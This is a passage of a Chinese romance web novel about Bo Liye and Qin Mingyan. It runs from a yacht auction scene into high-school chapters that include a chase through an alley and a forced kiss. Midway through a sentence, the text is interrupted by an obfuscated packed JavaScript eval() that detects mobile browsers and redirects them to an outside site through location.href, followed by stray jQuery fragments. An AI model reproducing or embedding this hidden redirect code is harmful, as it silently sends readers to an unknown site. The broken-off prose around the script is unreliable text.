“薄小姐高考后就读于沪城戏剧学院,在大一就被华宸娱乐牵下,并且出演第一部女主剧短暂爆红。我们推测薄小姐这几年偿还的债务资金,多数来自于其公司。”
“以及,我们并没有查到有关薄小姐与秦子旭联姻的新闻,也许是当年薄家虎落平阳,这桩婚事就不了了之。”
所以是身世的巨变,才让薄黎也性格大变吗?
秦明烟看着薄黎也,忽然有种很奇怪的感觉。
好像所有人都在往前走,只有薄黎也被按了倒退键,一点一点的,退到了她曾经的位置。
只是薄黎也比曾经的她更加软弱,像是在这些年里被磨平了心气。唯有刻在骨子里的那股狠劲,在跳下羲和号的那一刻,才让秦明烟重新确认,薄黎也还是她曾经所认识的那个人。
那个不择手段、不达目的不罢休的人。
秦明烟的语气又变得冷漠起来:“收起你那套把戏,你要是想让人来欣赏你,我可以再安排你进一次拍卖笼。”
“我没有这个意——”
“而且。”秦明烟打断薄黎也,她看着薄黎也一点点的拉起衣服,眼中没有一丝动容,“你有病就找医生,来找我卖惨没有任何用,只会是自讨苦吃。”
薄黎也愣在原地,扣睡衣扣子的动作僵硬在那里,看向秦明烟的目光一点、一点的下沉,直至完全从秦明烟的脸上移开。
像是突然被抽走了所有的精气神,机械的点了两下头,表示自己明白了。
秦明烟叫来了医生为薄黎也正骨,女医生在这方面向来心细,丰富的经验令她能很好的判断出患者的疼痛感。
在接骨的时候,几次提醒薄黎也可以喊出声。
薄黎也却紧咬着牙,一言不发地望向秦明烟的背影,好似这个世界上除了秦明烟,就没有人没有事能再引起她的注意力了。
当秦明烟转过头时,她的视线又会先一秒收回,无错的望着医生,说:“轻一点,麻烦了。”
秦明烟有些听不下去,直接把薄黎也扔给医生照顾:“待会你再帮她做个全身检查。”
薄黎也的脱臼属于医生的失职,医生不敢再怠慢,连连保证一定会仔细做检查。
当天晚上,秦明烟受邀去了羲和号一楼的最后一场拍卖会。最后一场的藏品价值远超于前几场,最低的起拍价也超过百万,最高的更是起拍价就达到了一个亿。
是一套罕见的紫钻,来自于欧洲一个老牌的财阀家族,在展示台上陈列时,足以让其他所有珠宝黯然失色。
秦明烟来羲和号的原因之一,就是在她正式回国前,借这个机会立威。这群二代们比他们的老子好糊弄,只要震慑住了他们,也就成功了大半。
拍下薄黎也是意外,而拍下这套最名贵的珠宝,则是秦明烟一开始的目的,这一回她没有再找代拍,而是亲自出席。
并且在下楼时,她带上了薄黎也。
“我去会不会不太合适?”薄黎也抱着秦明烟丢给她的连衣裙,矜持地问,“被人知道我是被你拍下的,会不会对你的影响不太好?”
秦明烟扫了她一眼:“你那天跳海的时候怎么没想影响好不好?”
薄黎也缓慢的眨了一下眼,没有说话。
秦明烟嗤笑了声,抬了下表:“三分钟。”
薄黎也赶在时间用完前小跑着回来,贴心地问:“不需要化妆吗?”
秦明烟上前一步,抬手捏上薄黎也的脸颊,只是轻轻一捏,就捏出一个淡粉色的红印子,薄黎也不耐痛,眼眶立刻红了起来,破碎的泪光像是深海的人鱼垂泪。
“你以为我为什么要现在带上你?”秦明烟的手往下,微凉的指尖划过薄黎也的脖子,停在裙子的领口处。
轻轻一挑。
扣子散开两粒,露出一双纤细的锁骨,海风随之灌入,凉得薄黎也虚弱的身体立刻咳嗽起来。
秦明烟毫不犹豫的收回手,上下打量一番,像是欣赏一件精美的器具:“这不比化过妆更好看吗?”
薄黎也又咳嗽了两声,秦明烟长长的‘嘘’了声,语气暗带威胁:“这就不好看了。”
薄黎也立刻闭上了嘴,闷闷地咳嗽好几声,才彻底缓过来。
秦明烟满意的带她出了门。
比起前几日刻意伪装出来的柔弱,今天的薄黎也显然更受欢迎,一跟着秦明烟坐到拍卖厅的宾客席,就引来了无数的目光。
有探究的,也有觊觎的。
但因为秦明烟的身份摆在那儿,一时半会还没有人上前攀谈,就连议论声也被压得极低。
秦明烟慷慨地把这场的拍卖手册放到薄黎也的手里,薄黎也眼里有一丝茫然。
她不是不知道秦明烟的目的,之前乔冉也这样给她递过拍卖手册,只是这个行为落到秦明烟身上,就有些怪异了。
果不其然,秦明烟下一句就是:“好好看,别丢我的脸。”
薄黎也恍然大悟,这是要借她的手来拍东西呢。秦明烟要震慑人,肯定不能只拍最贵的那件,也得跟人抢一抢才能显示出她的财力。
秦明烟本人看上那些东西会显得她眼界浅薄,但若是薄黎也要,就名正言顺了。
薄黎也故意翻到印有粉色名表的那一页,故意多看了两眼,然后压着刚好能令秦明烟听到的气息,轻轻叹上一口,又把册子往后翻。
下一秒,秦明烟的声音跟过来:“嘴巴给我闭上。”
薄黎也很轻很轻的说了声:“对不起,我不是要在拍卖前触你霉头,只是觉得很难选。”
秦明烟:“不考虑价格。”
“不是这个。”薄黎也说,“我是觉得,既要让他们看起来符合我的爱好,买回去后又能让你收藏的东西,很难选。”
“别这么麻烦。”秦明烟的语气有些不耐。
薄黎也凑近过去:“可是你看这只粉色的表起拍价三百万,最终总得大几百万吧?放在你收藏柜里会不会很突兀?”
她的声音慢慢的,说话时有一股很淡很淡的中药味,又很快被她身上浅淡的木质莲香所掩盖。
和秦明烟身上的味道一模一样。
即使已经觉察出薄黎也绕圈子的目的,秦明烟沉默了两秒,语气难得缓和:“那就你自己收着。”
一时间,薄黎也的嘴角压不住地往上翘,她努力的控制着自己的表情管理,温温柔柔的故作恬淡:“那多不好意思啊。”
秦明烟将她的变化尽收眼底,转过头,抿了口茶:“不要也随你。”
薄黎也当即:“那还是要吧。”
有了秦明烟的话后,薄黎也翻看拍卖册的积极性高了不少。她着重挑选起拍价的溢价不高、且实用性不高的拍品。
日常生活中不好穿戴的,等她下了船,就能联系人转手再卖掉,又能多一笔进账。
这场拍卖会一直持续到深夜十一点才结束,有秦明烟在场,宾客席上也难得没有太多离场的人,最后那套紫钻的首饰毫不意外的被秦明烟拍下。
以三亿两千万的价格。
按照流程,依旧是前往验货的房间。秦明烟跟着乔锦元打了圈招呼,让薄黎也代替她去接收拍下的藏品。
薄黎也乖乖地去了,去的时候还听话的问秦明烟能不能把衣服领子扣上。夜间温度又降了几度,她前几天落了水,嗓子一受凉就止不住咳。
秦明烟愣了一下,虽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875565|191889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然知道薄黎也是故意说这话来迎合她的,她还是被取悦到了。
于是她同意了薄黎也的请求:“扣上吧。”
薄黎也安安静静地笑了。
终于离开秦明烟的视野范围,薄黎也微不可查地松了口气。
工作人员热情的向薄黎也展示秦明烟拍得的一件件藏品,一如既往地没有任何出错的地方,薄黎也对其他的东西没太大的兴趣,倒是拿起那块粉色的手表试戴了一回。
她第一次看到这块表是在两年前,在秀场一位压轴的外国模特手上。当时顾林站在她身边,开玩笑似地对着她感慨:“你要什么时候才能买得起这块表啊?”
薄黎也当时笑了笑,说:“没必要。”
因为她有太多的债务,这种漂亮的饰品注定要与她绝缘,况且她曾经拥有过很多很多。
可当真正戴上时她才发现,她依旧喜欢亮闪闪的漂亮饰品,喜欢柔软舒适的高奢裙子,喜欢金钱能带来的社会地位,喜欢……
她的喜好似乎没有改变,依旧保持着年少时的喜好。
薄黎也收起那股怅然之感,解开表带,重新放进工作人员打开的盒子:“帮我重新包起来吧,谢谢。”
工作人员盖上盒子,突然叫住了她:“薄黎也,你还认识我吗?”
薄黎也:“你是?”
男人说:“既然不知道,那就不用知道我的名字。”
薄黎也的声音淡淡的:“哦。”
男人显然没想到她是这个态度,他直接把手里的表盒塞给旁边买通的工作人员,然后示意人去门边等。
又一个麻烦找上门了。
男人拿出手机里的一段监控画面,递给薄黎也:“看看吧。”
薄黎也没有用手去接。
监控画面十分的混乱,是几天前她被人压着去拍卖会前的情景,她惊慌无措的脸在画面中格格不入,直到视频被男人按下暂停键,画面定格。
男人说:“去拍卖会现场之前,那副金手铐根本不是我们强加给你的,而是你一早就带在身上,又在那时候故意掉出来,就是为了让我们给你戴上,以增加秦明烟拍下你的筹码。你早就料到我们会在乔冉喝醉后去你房间找你,你利用了我们!”
“利用?”薄黎也抬头看向男人,语气淡然,“你有什么证据证明这个手铐是一开始就在我身上的?”
男人闻言愣了一下,他看着薄黎也冷漠的眉眼,提高声音:“薄黎也你是想耍赖吗?你一开始的接近目标就是秦明烟对不对?你说秦明烟要是知道你处心积虑地接近她,她会怎么做?”
薄黎也忽然笑了,她落海初愈,脸色还带着病态的白,笑起来时也没什么血色,显得她异常冷漠:“张航,你跟赵洋不愧是朋友,一个自认为给我打个镇定剂就能讨好秦明烟,另一个觉得拿着这段监控也能讨好秦明烟。”
她显然早就认出了男人,并且清楚的知道对方的身份。薄黎也看着张航的眼睛,脸上的笑容一点、一点地淡了下来,苍白的脸色不见一点柔弱的模样,反倒显得她冰冷不近人情。
“你觉得秦明烟会跟你们一样蠢,蠢到连这个都猜不到吗?她知道我在接近她,但她依旧接纳了我。”
张航彻底愣住。
他看着薄黎也精致的眉眼,几乎不敢相信一个任人可欺的花瓶就这么轻易地,先于他们讨好了秦明烟。
“你难道真的是秦明烟的前——”
“啰嗦。”薄黎也眉间忽然染上一抹不耐,她揉了揉耳朵,发丝被撩动,在灯光下忽然闪过一抹灼亮的紫,“怎么都觉得我只是来要钱的呢。”
“啪——”
刚刚被拍卖的那套价值三亿两千万的其中一只耳坠不知什么时候被薄黎也顺在了自己耳朵上,又在这一刻跌到了地上,点缀的细钻在瞬间四分五裂,最中央的那粒紫钻也在落地的冲击下磕磕碰碰。
声音异常清脆、悦耳。
紧接着,张航看见薄黎也跌坐了下去,那张脸上布满了脆弱和绝望的情绪。
这一切只发生在短短的三秒之间,等张航反应过来时,门口帮他盯梢的工作人员已经高声喊了句:“秦总。”
也正是这个时候,身边响起一声压抑的哭腔。
8、第八章
薄黎也脸上带着餍足的笑意,身体前倾,笑盈盈的拿起秦明烟给她调的那杯酒,享受着朋友们好奇的目光。
秦明烟这张冷淡的脸被‘糟蹋’的情景实在是难得一见,嘴唇上还残留着晶莹的水渍,眼角也是鲜红的,偏生眼神是极其执拗冷漠的,就像冬季覆雪的红梅,骨子里透着不堪折辱的清高劲。
薄黎也握着酒杯的手发紧,在有看热闹的女生坐到秦明烟的另一侧时,手里的酒杯忽然脱手。
砰——
玻璃杯四分五裂,细碎的划片随着酒液飞溅起来,围过来的几个女生都下意识后躲。
薄黎也若无其事地看了眼被溅到的小腿,没什么起伏地说了句:“手滑。”
秦明烟另一边的女生佯装选了瓶酒,当即折返回原来的沙发。
薄黎也的目光收回来,去抽纸巾时,另一只手抢了先。
是秦明烟:“我来吧。”
蓝色条纹的袖口越过她拿过纸盒,秦明烟半蹲下身,拿着纸巾的手在细白的小腿上擦拭。
纸巾的纹理带有体温地轻蹭着皮肤,随即而来的痒意让薄黎也咬住了下唇。
“松开,我自己来。”秦明烟的突然体贴令薄黎也有些不适应,即使这是她自己要求的。
秦明烟却用另一只手握住了薄黎也躲避的小腿:“有玻璃片,别动。”
直接贴上来的掌心较隔着纸巾的感觉更为强烈,从来没有人这样碰过她,薄黎也暗暗蜷缩起脚趾。
她深深咬了口气:“快点。”
秦明烟应了声,加快擦拭的动作,攥着她脚的力道却丝毫不减。
旁边的顾白帆悄悄给薄黎也打了个眼色,竖起一根大拇指。薄黎也只能忍了下来,盘腿坐在沙发上,看着秦明烟清理完酒渍,又从柜子里拿出一条新毛毯,盖在她的小腿。
秦明烟出去放清洁用具的时候,薄黎也腿上残留的那点触感才好像终于散去,她终于放松下来,看向她的朋友们:“有什么想问的就问吧。”
几个朋友见状终于忍不住,叽叽喳喳地围拢过来,缠着薄黎也要个说法。
“什么情况啊,刚刚我不是在做梦吧?老张要是知道她的得意门生被你拱了,恐怕要被气死。”
“之前没听你说过喜欢女的啊,怎么突然就?”
薄黎也指尖摩挲着柔软的毛毯,赖赖地问:“她不好看?”
“怎么会不好看,简直太带劲了,要是能试试,我一个直女都想尝……”
“尝尝她的味道啊?”薄黎也转过头,似笑非笑地看着说话的单思思,“我把她叫过来让你试试?”
薄黎也都当着那么多人的面亲秦明烟了,明显就是很重视人,单思思哪里敢啊,连忙摆手拒绝:“不不不,我开玩笑的。”
顾白帆一把搂过单思思的肩膀,拍了拍:“切,单思思你紧张什么,要换成是我就直接应,看人来了以后,到底是我下不去嘴还是她自个着急!”
薄黎也微微眯起了眼睛:“行啊,谁喊停谁是小狗。”
顾白帆看透这大小姐的嘴硬,要是真不在乎,怎么会把人拐家里去精准扶贫,要是不在乎,怎么会大庭广众亲人,薄家的家教那么严,别说是搞同性恋了,单一个早恋传出去,薄黎也就得完蛋。
“我是狗,我是狗还不行吗?汪汪,够不,不够的话再给薄小姐来两声?”
薄黎也没忍住被她逗笑:“你烦死了。”
“知道我们烦还不赶紧解释解释,到底什么关系啊?我们以后在学校里抬头不见低头见的,也好有个心理准备。”
薄黎也靠倒在沙发背,投影的彩光落在她的脸上,将她漂亮的五官蒙上一层薄纱:“刚刚不是表演给你们看过了吗?”
那就不是什么正式的关系了。
顾白帆笑嘻嘻地给薄黎也喂哈密瓜:“但你别玩太过火啊,一年后人还得给海川挣个门面呢,别把我们学霸的成绩给拉下来了。”
薄黎也咬了个尖尖,轻飘飘的说:“那得看她表现咯。”
顾白帆没忍住骂了个‘妖精’,把剩下的哈密瓜全塞进薄黎也的嘴里。
又聊了几句秦明烟后,话题很快拐到了其他地方。
秦明烟离开包厢已经有十分钟,薄黎也等了又等,给她发了条微信:【你人呢?放个拖把要那么久?】
秦明烟很快回过来:【有包厢过生日,整个包厢都被弄上了蛋糕,需要清理】
薄黎也面无表情的打字:【我不是说了今晚让你安分一点吗?怎么,旁边包厢拿蛋糕乱扔,你是不是还得给那边的人也送几条毛毯?】
秦明烟:【如果她们有需要】
薄黎也的好心情顿时没了。
本以为秦明烟已经对她低头了,结果做的这些都只是服务生的本职工作?
这就是秦明烟答应的,今晚不让她下不来台?
确实挑不出错。
但跟薄黎也想象的完全不一样。
如果那边的人腿上溅了酒,秦明烟是不是也要帮他们擦干净?
一想到那个画面,薄黎也又打起字:【你别再过来了】
秦明烟的消息没有再回复过来,薄黎也故意让刚刚撤出去跳舞的那些人又回到了包厢,整个包厢热热闹闹的,又叫了好几轮酒。
大多都是翡世的人在喝,薄黎也偶尔喝上几口。她酒量不高,离开翡世的时候,她看了眼半小时前秦明烟发来的回家的消息,打车去了桦水弄堂。
和薄黎也住的高档别墅区不同,桦水弄堂在三环线外,密密麻麻的房子里住的都是外来务工和本地的穷人。
政府说要开发这一片已经说了很多年,也有炒房客前来光顾过,想要搏一个拆迁款。但这么多年过去,比桦水弄堂晚规划的片区都重建了,偏偏漏过这一带。
显然,是没什么希望了。
薄黎也是第二次过来。第一次拿着班主任给的地址找过来的时候,秦明烟的妈妈还在家,疯疯癫癫的女人被架上救护车,连长什么样都没看清。
那时秦明烟被从救护车上下来的医生训话,医保的涵盖度有限,让秦明烟去筹钱。秦明烟点了点头,没有上救护车,也没有看她妈妈一眼,冷漠得像是个毫不相关的外人。
薄黎也当时头脑一热,就过去问秦明烟愿不愿意给她补课,并照着她之前的家教价格,给秦明烟报了金额,完全可以覆盖这次的医疗费用。
第二次来这里,薄黎也还是没能习惯。脏乱的地面和空气中飘散的垃圾臭味,让她的每一步都产生要退出去的冲动。
好在绕过弄堂口的垃圾堆放地,那股难闻的气味消失,路边昏暗的灯光不足以照明,薄黎也打开手机的手电筒功能,寻着记忆找秦明烟的家。
但弄堂里没有路标,房屋又这里一片那里一群的没有任何规律,薄黎也绕了十分钟,看到一位正在拾捡矿泉水瓶的阿婆,礼貌的上前问路:“奶奶,我想问问桦水弄堂109号往哪儿走?”
阿婆有些耳背,薄黎也问了两次她才听清楚:“109号,是不是那个疯疯癫癫的寡妇家?”
“我是海川高中的学生,来找我同学,她妈妈因为生病精神状况确实不太好。”
“哎那就对了,对了。她女儿确实读书很好,你往前边走,看到那棵桂花树了没,往左转,然后走到底就是109号了。”
薄黎也道了谢,正要离开,被阿婆重新叫住:“小姑娘,怎么你们今晚都来找那对母女,她们平时很老实本分,不会有什么误会吧?”
薄黎也停住脚步:“今晚除了我,还有人来找她们?”
阿婆都不顾得刚踩扁的矿泉水瓶,急道:“是啊,几个男的,人高马大的,一看就不好相处。我没告诉他们109号的位置,你身上有酒气,真的是学生吗?该不会跟他们是一伙的吧?”
薄黎也没想到阿婆的鼻子那么灵,心虚地说:“我不是,我真的是她的同学。”
阿婆仍然怀疑,薄黎也又调出穿校服的照片给阿婆看,阿婆才没再拦她。
薄黎也赶紧给秦明烟发微信:【你在哪?】
【我在桦水弄堂,有阿婆说有一伙人在找你,你没事吧?】
【你快去锁好门,要我帮你报警吗?】
秦明烟的微信在半分钟后回过来:【你在哪里?】
薄黎也看向远处那棵桂花树,回:【在一棵很大的桂花树这,你真没事吗?】
秦明烟:【站着别动,我去找你】
在等待秦明烟过来的路上,薄黎也站在桂花树旁,早就把来这里找秦明烟算账的事忘了个干干净净。
她听着不同巷口刮来的冷风声,心脏砰砰地跳着,几乎把影视剧里那些危险的桥段想了个遍。
直到身后忽然传来一声很轻的:“薄黎也?”
薄黎也转过头,看到戴着黑色鸭舌帽的秦明烟,下意识往她身后看:“你有没有……唔唔!”
秦明烟捂住了薄黎也的嘴:“别说话。”
薄黎也被她严肃的眼神吓得直接愣住,很快,她们远处传来一阵脚步声和细碎的人声,秦明烟往声音的方向看了眼,拽起薄黎也的手腕往另一个方向跑。
“别说话,跟我走。”
薄黎也那里遇到过这种事,粗旷的男人声音和阿婆口中人高马大的形象结合在一起,薄黎也只能被迫跟着秦明烟往巷子里跑。
“那边有声音,去那边找!”
“别让人跑了!”
不知道在错乱的道路间跑了多久,秦明烟突然拽着她躲到了一面墙后,斑驳的墙面已经掉了墙漆。
薄黎也气喘不止,急急忙忙地拿出手机:“你到底得罪什么人了?我现在就帮你报警。”
秦明烟按下了她的动作,说:“没有用的,警察不会管。”
薄黎也脱口而出:“警察怎么可能不管?”
秦明烟就这么静静地看着她,薄黎也顿时哑然。
就连学校里犯了同样错误的学生都不会一视同仁的处理,更何况是在校外。只要一个堵车的拖延,就能延误出警的速度。
“所以你知道他们是谁?”
秦明烟抿着嘴,没有说话。
薄黎也气急,推了她一下:“你说啊,我可以让我妈妈出面帮你。”
秦明烟说:“不用这么麻烦,只是兼职的时候跟同事有点小摩擦。”
薄黎也一听就知道她在编:“都跟你这个高中生抢工作了,能有什么大能耐,警察怎么可能不会管?”
这下,秦明烟不再说了。
刚刚绕走的几人似乎因为没找到人,在时候,脚步声又重新绕了回来。
“赶紧再找找,今晚找不到人,谁也别想拿到钱。”
“她一个高中生能跑多远,那边找了吗?”
手电筒的方向,赫然就是她们的巷子口。
薄黎也看着打在几米外的光束,想要拉着秦明烟往里跑,却发现再里面已经没有了路。
“怎么办?”
秦明烟顺着薄黎也指的方向看了眼,低声说了句‘得罪了’,忽然把薄黎也按在了墙上,一只脚挤进薄黎也的□□,身体往前,严丝合缝的贴近在一起。
突如其来的炙热气息让薄黎也直接愣住,巷口的光束照过来得越来越频繁,直到一声:“这里好像有人!”
“秦明烟,他们过来了。”
话音刚落下,薄黎也细长的双腿忽然被秦明烟抱起来。腾空而起的瞬间,薄黎也的整个后背被撞在粗粝的墙面,她下意识环紧了秦明烟的腰。
薄黎也的裙摆上瞬间落下深深的褶皱。
那些人追得越来越近,薄黎也心慌不已:“你松——”
‘开’字被堵进唇舌之中,瞬间的失重感还没过去,秦明烟的吻就落了下来,带来浅淡好闻的气息。
在黑暗的遮掩下,秦明烟帽檐下的那双眼睛深得看不清任何情绪,唯有传递过来的热量昭示着她们正在亲吻。
手电筒的灯光越来越近,越来越近。
刹那间,秦明烟的吻入得更深,就算是刚刚在翡世的那个吻,都不及现在的十分之一。
这种不受控的、疯狂的感觉让薄黎也几近窒息。
短短的几秒时间,甜酒残余的味道从嘴角溢出,又重新被秦明烟吃进嘴里。
“那边,就是那边!”
“快去看看!”
就快被发现了!
秦明烟抱着薄黎也的手骤然缩紧。
薄黎也整个人都被紧紧压制在墙上,口中不受控制地溢出一声:“呜……!”
走进巷子的人直接停了下来,狠狠的骂了一句脏:“没钱开房啊?”
“你们几个还看什么看,没找过女人吗?不赶紧换条路去找人?”
“至今连个人都没看到,找不到人,今晚都别想睡安稳觉!”
薄黎也的恐惧几乎达到了顶峰。在她发出那声哭腔后,秦明烟亲吻的动作开始变凶,整张脸都要贴近上来,似乎是想要藏起来。
薄黎也只能偏着头,帮秦明烟打掩护。
秦明烟呼吸的温度几乎要将她烫化。薄黎也只能无助地张着嘴,眼前开始变得模糊,再也没有命令秦明烟时半点不可一世的矜骄,害怕与恐惧在这一刻到达了巅峰。
她觉得自己好像从来没有真正认识过秦明烟,推人的手在秦明烟的压制下全是徒劳,从来没有受过这种委屈的薄黎也直接反咬上秦明烟。
血腥味在舌尖弥漫开,秦明烟的动作暂停了一瞬,而后,血的味道几乎漫过她口中的每一寸。
直到那群人的脚步声彻底消失,激烈的吮吸在瞬间停下,秦明烟松开了她。
薄黎也直接滑倒下去,又被秦明烟捞住腰才重新站稳。
反观秦明烟,眼里的余热已经褪得干干净净,除了发红的嘴唇,看不出任何异常的迹象。
她的神色又恢复了以往的沉静冷淡,俨然一副三好学生的样子,低头道歉:“刚刚那些人来得突然,我想不到更好的办法,你想让我怎么补偿都行。”《 》
9、第九章
“那你也不能这样对我,你经过我的允许了吗?”薄黎也狠狠地推开秦明烟,可她被亲的手脚无力,秦明烟不见得踉跄,她自己扶了下墙才站稳。
秦明烟低声说了句‘对不起’,拿出包纸巾递过去。
薄黎也伸手打落纸巾,看着秦明烟弯下腰捡起来,包装上蹭了一层灰,但包装扣还是完好的。
薄黎也喘着气,被汗水浸湿的碎发湿漉漉地贴着脸颊,狼狈不堪。她被气得不轻,这时候已经顾不得秦明烟有什么仇家了,只想当场狠狠教训这个冒犯她的人。
她又扔了第二次。
这一次扔得远了,扔出去五六米的距离,秦明烟果然皱起了眉。
薄黎也红着眼死死睨着秦明烟,等着她发怒。
然而,秦明烟只是皱了下眉,就小跑过去捡了回来。当着薄黎也的面打开贴扣抽出一张,仔仔细细地把外面一圈擦干净,才递过去。
“秦明烟。”薄黎也声音冰冷,“你觉得我还会要你碰过的东西吗?”
秦明烟的嘴唇动了动,脸色逐渐发白。
薄黎也终于又找回了点上位感,讥讽道:“我们从来都不是情侣关系。在翡世的时候,我确实当着我朋友的面亲了你,你不会当真了吧?”
可即便她的话如此刻薄,也掩盖不了那双漂亮的桃花眼被欺负到水涔涔的事实。
秦明烟敛下眼睫,努力克制自己不去看薄黎也,把自己的嘴唇咬到发白,轻轻说:“我知道的。”
薄黎也满意了。
她伸出手,在秦明烟的右脸上拍了一下又一下,带有侮辱人的意味:“你知道就好,下次你再敢这样,我会让你在海川待不下去。”
那晚之后,薄黎也存心要给秦明烟一个教训,直接取消了周日的补课。
第二周的周末,薄婧娴和薄承都难得有空闲回家,薄黎也只能让秦明烟上门。
人来后,薄黎也和秦明烟一人坐在书桌的一边,泾渭分明,只有秦明烟开口讲题的时候,两人会有短暂的交流,目光却一次也没对上过。
周一升完旗回去,教室里热热闹闹,各科课代表在收周末的作业,秦明烟上讲台握着刚折成两段的粉笔,开始写今天的课表。
教室后排,有人刚拿进来一大包喷香的早餐。
“小也,你要的新元记红米肠,那厨师恐怕是第一次接这么早的单,整个酒店乌漆嘛黑的就他一个人干活。”
“艇仔粥吃不吃,我看他塞了好几份呢,应该够我们分了。”
“你们谁的作业赶紧借我抄抄,周末跟我妈去江城参加一个酒会,搞得我都来不及了。”
“你吃你的,我找你帮你抄一份不就好了?哎那个,对以前一中姓张的女生,一百块一张卷子,抄不抄?”
秦明烟继续抄课表,察觉到一截粉笔从身后抛来,教室后排传出一阵哄笑声。
“长不长眼睛啊,还不赶紧去给我们班长道歉?”
夏一雯又扔了一根,这一回落进了粉笔篮:“班长,不好意思啊,扔远了。”
秦明烟的笔锋勾在‘化’的末尾,转过头说:“没事。”
夏一雯坐回薄黎也身边,脑袋凑过去:“物理实验的分组,你怎么没带她?”
薄黎也咬了口红米肠,翻看国庆放假通知,头也不抬:“这不是课代表分的吗,你想蹭实验就去找人改啊。”
夏一雯被说中心思,摸了摸鼻子,说:“我就随口问问,实验课烦得很,都高三了也不知道折腾什么。”
薄黎也:“折腾快乐教学咯。”
旁边的另一个女生也抱怨起来:“海川真是越来越没贵气了,从一中挖学生开始,这个改革那个改革,它要不要干脆把自己定位成普高算了?”
“好歹给我们留着体育课呢,哎对了,体育课的时候,我带你去见个人啊。”
薄黎也最近心情糟糕,一方面来自于秦明烟,另一方面来自于那个又开始骚扰她的偷窥狂。
“不见,没兴趣。”
“别嘛。”夏一雯神神秘秘地压低声音,“你不是喜欢那种清冷美人嘛,高二上学期末的年级第一,家境好性格好,没一中那群人的犟脾气,最重要的是……小妹妹缠着我打听你很久了,把你当偶像一样崇拜呢。”
薄黎也终于舍得把目光抬起来,领结上的金色丝线闪闪发光,衬得她明眸皓齿:“拉完男的拉女的,你拉皮条上瘾了,看不得我清闲?”
夏一雯往黑板的方向看了眼,努努嘴:“小妹妹就是想认识认识你啊,哪像那位那么不识相?”
薄黎也看着秦明烟的背影不说话。
海川想跟薄黎也做朋友的人太多,一部分冲着薄黎也本人来的,一部分是冲着薄家来的。夏一雯见薄黎也没心思,只好悄悄给学妹发信息,下次有机会再带人一块玩。
薄黎也又低头吃起了红米肠,吃到一半,动作忽然停下了。
‘啪嗒’一声,她盖上餐盒的动作很大:“高二的跟我们一块上体育课?”
夏一雯点点头:“对,周一都是上午最后一节,运气好的话连跑圈都能一块。”
薄黎也突然往外走。
夏一雯在后面问:“你去哪啊?”
薄黎也浅淡的眸子从找秦明烟请教题目的女生身上收回:“洗手。”
夏一雯有些摸不着头脑,问正要补个觉的顾白帆:“她什么意思啊?”
顾白帆嫌弃地瞥她一眼:“你之前的恋爱白谈了?明显赌气呢,别理她们。”
上了好几个小时的课,终于轮到了体育。
九月份的沪城还没彻底入秋,太阳大,人就容易没什么精神,加上临近饭点,整个班都懒懒散散的,站队列的时候,体育老师看得直皱眉。
“先做几组拉伸运动,然后慢跑三圈,跑完来我这里报名字登记才能自由活动。”
底下传来一群学生的哀嚎,体育老师熟视无睹,指挥着拉开距离做热身:“左右两边空出一米的距离,来跟我做活动。”
“后面的男生不要交头接耳,就是因为你们高三才更要动一动。”
“听不懂我话的人待会再加两圈。”
体育老师雷厉风行,他在海川工作有十多年,知道这个班是高三年级的重点保护对象,每次上课走个形式就自由活动。
做完前面一系列的揉手腕脚腕扩胸等热身后,他指挥地下学生:“好,最后再来开个背,两两拉手帮忙。”
整个班很快被分好组,开始互相帮助,只有薄黎也和秦明烟站在那里没动。
准确来说,是秦明烟已经转过了身,而薄黎也没动。
两人身高相仿,体育课自然而然站到了一块,周围的男生女生都各自组好队,只剩下她们两还在相持。
体育老师很快注意到她们:“那边的两个女生什么情况,开背还需要我教?”
秦明烟敛着视线看了薄黎也一眼,低声说:“手给我吧。”
薄黎也轻轻一扫,仍旧没动。天气热,她们上体育课的时候已经脱掉了外套,露出的胳膊白得像是在发光。
在体育老师走过来问原因时,薄黎也轻轻淡淡地说了个:“脏。”
不仅是今天升完旗,刚刚来体育课前的那个课间,她也看到这双手在帮人解题时,短暂的被擦过。
体育老师皱眉看了眼薄黎也,拿起点名册就问:“你学号多少,叫什么名?”
明显是要记过,薄黎也一口郁气憋在心里,正打算不管不顾地报名字,手忽然被人拉住。
伸过来的那只手指甲修剪得干干净净,瘦削的手指骨节分明,皮肤是有些病态的冷白色,指甲片却带着粉。
“老师,对不起,刚刚是我拿过器材忘了洗手,手上都是灰。”秦明烟向体育老师道了歉。
体育老师就看不惯这群富家子弟娇气的样子:“器材能有多脏,难不成等下活动的时候你们打一发球就去洗一次手吗?”
薄黎也抿着唇,板着脸的样子特别严肃,蹭蹭冒着冷气。等体育老师一转身,她就甩开了秦明烟的手。
然而体育老师看完前排,又看向了她们这边,秦明烟直接站到了薄黎也的身后,拉着她两只手开始做开背的拉伸动作。
薄黎也双手被钳制住,侧头警告人:“我有没有警告过你,没有我的允许不准碰我?”
秦明烟低垂着眼,声音很淡:“再不做热身,体育老师该来找麻烦了,你也不想整节课被罚跑吧?”
薄黎也像是炸了毛,直接往后踩了秦明烟一脚:“那你还不赶紧用点力?”
秦明烟稍稍收紧了手,处在薄黎也能承受的拉伸范围。薄黎也昨晚上睡觉时落了枕,被这么一拉,肩颈处顿时酸痛不已。
但她紧紧咬着牙,等轮换的时候,打着报复回去的心理,结果秦明烟这人一声不吭,等到体育老师发出跑圈的指令,她只能不情不愿地收了手。
旁观了一切的夏一雯故意落后几个人,跑到薄黎也身边问:“你还好吧?”
薄黎也没心情,说话也不客气:“还能怎么样?”
夏一雯管不住自己的嘴:“帆帆说你们吵架了,真的假的?”
薄黎也目光不定地看着跑在前面的人,后排几乎都是高一就在海川就读的学生,跟秦明烟没话聊,秦明烟一个人跑在那里,孤零零的。
薄黎也瞥了下嘴,问:“你那个学妹呢?她们班在操场上?”
夏一雯脸上立刻笑得灿烂:“你愿意见她啊,好啊,待会我给你喊过来,说起来她家跟你家生意上有点合作,可能是想进步吧,人绝对听话。”
跑久了喘不上气,薄黎也点了点头,只想赶紧把这三圈度过去。
